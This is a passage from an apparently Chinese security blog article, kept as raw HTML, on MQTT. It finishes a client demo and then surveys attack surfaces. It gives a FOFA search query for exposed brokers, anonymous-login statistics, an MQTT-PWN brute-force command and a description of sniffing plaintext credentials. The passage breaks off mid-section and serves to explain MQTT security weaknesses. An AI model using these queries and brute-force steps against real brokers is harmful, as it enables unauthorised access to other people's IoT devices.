data-type="png" data-w="636" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=9473ce7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAXaXjgFXxydeYHbPFfia8sicLtgmPZqmGZqvMECCNqY4ByMyP32CvtsEQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">如果想了解<strong>命令的执行细节</strong>，可以在上面的命令中<strong>加上&#34;-d&#34;参数</strong></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">再次查看打开的第一个命令行，我们可以发现我们发送的Hello,World!已经接收到了。至此，我们已经完成了一次MQTT通信</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">另外如果你不喜欢命令行，这里推荐一个超级好用的<strong>MQTT客户端</strong>：MQTTX 下载地址：<a href="https://mqttx.app/cn/" target="_blank">https://mqttx.app/cn/</a></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7572559366754618" data-s="300,640" data-type="png" data-w="2274" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=765ac143&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwASW1N93wibE3VZ5IE7qXlp9Lr8U071eNxdjoTO75Gkw1iaiat2UZfu0kfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：mqttx</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">Emmmmm，如果你连软件都不想下，那这里推荐给你一个<strong>在线的MQTT客户端</strong>：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">tools.exqx.io</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6344866071428571" data-s="300,640" data-type="png" data-w="3584" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=02366a2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAwaHgnkOYqLDQG5lcXX0VWzV4bjwjkTrjarnBKkj6mK9ToT5BoTQkFw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：tools.exqx.io</span></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><br/></span></p><h2 style="margin: 20px 16px;font-size: 22.4px;white-space: normal;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;line-height: 1.75em;"><span style="letter-spacing: 2px;">3 MQTT攻击面</span></h2><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">在这一小节我们主要介绍MQTT面临的安全风险以及如何去攻击</span></p><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们可以使用关键字&#34;<strong>port=1883 &amp;&amp; banner=MQTT</strong>&#34;在fofa中搜索使用了默认端口的Broker，搜索结果如下图(January 5, 2021)所示，共发现了约26万可用Broker</span></p><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><img class="rich_pages" data-ratio="0.4986111111111111" data-s="300,640" data-type="png" data-w="2880" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=61fb1b29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAj5s0W765452d5VJ7RMsd6UlfgOiaG0zwaUNNJsdpwGXsU3qKgwlsDtA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：fofa</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">接下来我们就从<strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;white-space: normal;caret-color: rgb(167, 167, 167);">登陆认证问题</strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">、</span><strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;white-space: normal;caret-color: rgb(167, 167, 167);">权限控制问题</strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">以及</span><strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;white-space: normal;caret-color: rgb(167, 167, 167);">Broker自身安全性</strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">的问题</span>来分析MQTT的安全性</span></span></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><img class="rich_pages" data-ratio="0.8693259972489684" data-s="300,640" data-type="png" data-w="1454" style="text-align: center;white-space: normal;display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=88c259c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnuvH2Xw7s08tXmP2mQW7OdeneicqiawDtbAoslicLqy60uexuqGuHopFmA%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">登陆认证问题</span></h2><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1.匿名登陆</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">通过使用shodan检索MQTT协议,我们可以发现很多MQTT Connect code为0，这意味着连接到该MQTT Broker无需进行身份验证<strong>【详见1-MQTT简介/安全传输】</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7069689336691856" data-s="300,640" style="" data-type="png" data-w="2382" src="https://wechat2rss.xlab.app/img-proxy/?k=060e50d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwA0MwFiauF1anahoUeW0oMflymJ4oBwNnYZ8stse7QibZiax9evRq23686Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：shadon</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">经笔者粗略统计<strong>大概有67.9%的可用MQTT Broker设置了匿名登陆</strong>：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8255813953488372" data-s="300,640" data-type="png" data-w="1376" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=207a4339&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXniaCfMYQhDo04cSEec7KFZB7mhIBS533EfTxymRbqZKyHvse2pyYx3BQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2.用户名密码暴力破解</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">说是暴力破解，其实主要还是看<strong>字典【主要是MQTT中常见的弱口令】</strong>，因为MQTT只是单纯验证用户名和密码，没有其他校验机制，所以我们可以使用暴力破解来尝试获取用户名和密码<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4985044865403789" data-s="300,640" style="" data-type="png" data-w="1003" src="https://wechat2rss.xlab.app/img-proxy/?k=a7dedfe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnibIxTakdpsvJXBHVJCZPiaD8WDASOMP0DRfDbvowhzVe2chic6FGpfnKQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">借着暴力破解这一小节，我们介绍一个新工具：<strong>MQTT-PWN</strong>，上图就是我们用MQTT-PWN<strong>破解某个MQTT Broker的成功</strong>截图，爆破得到了账号密码，就可以直接接入Broker</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">该项目的Github地址如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><a href="https://github.com/akamai-threat-research/mqtt-pwn" target="_blank">https://github.com/akamai-threat-research/mqtt-pwn</a></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">最好使用Docker的安装方式，pyenv有点问题，暴力破解的命令：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">bruteforce</span> --host host --port port -uf USERNAMES_FILE -pf PASSWORDS_FILE</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">默认用户和密码字典在mqtt-pwn的resources/wordlists文件夹中</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">MQTT-PWN还支持更多功能，如Owntracks (GPS Tracker)、Sonoff Exploiter等<span style="font-size: 10px;"><sup><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">[5]</span></sup></span></span></p><p><br/></p><section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">感兴趣的大家自己看下文档去进行测试</span><br/></p></section><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3. 嗅探账号密码</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">因为MQTT是基于TCP协议实现的，在<strong>流量传输的过程中并未考虑加密</strong>（这里是指的除去MQTTS之外，即不包含使用TLS的MQTTS），其实这样做也有利于降低客户端设备的成本，毕竟本来单片机算力就不高</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">假设我们现在和客户端设备位于同一个网络中，我们可以通过嗅探局域网流量（<strong>MIMT中间人攻击</strong>）来<strong>抓取账号密码</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7166666666666667" data-s="300,640" style="" data-type="png" data-w="1800" src="https://wechat2rss.xlab.app/img-proxy/?k=35029f09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwA8rxUNps1rERUGMOnXjxdgrn4tjca0rDNU7XOia7L9WOKNlmWFhMiau0g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：MQTT安全案例分享[6]</span></p><p><br/></p><p><strong><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">抓取</span></span></strong><strong><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">到</span></span></strong><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">设备的<strong>账号密码后</strong>，我们就可以通过MQTT工具或者是MQTT-PWN连接到Broker<strong>进行下一步攻击</strong></span></span></p><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">4. 从Web应用中获取账号密码</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">很多厂商为了展示自己的物联网设备，往往会开发一个展示屏幕，如这种：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6885714285714286" data-s="300,640" data-type="png" data-w="700" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe041dca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAOzsiaUfSwPndGYsg41icKH7gRDe9yzibtzHsZtJC6RypO9SUPbob6vsVA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="text-align: justify;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 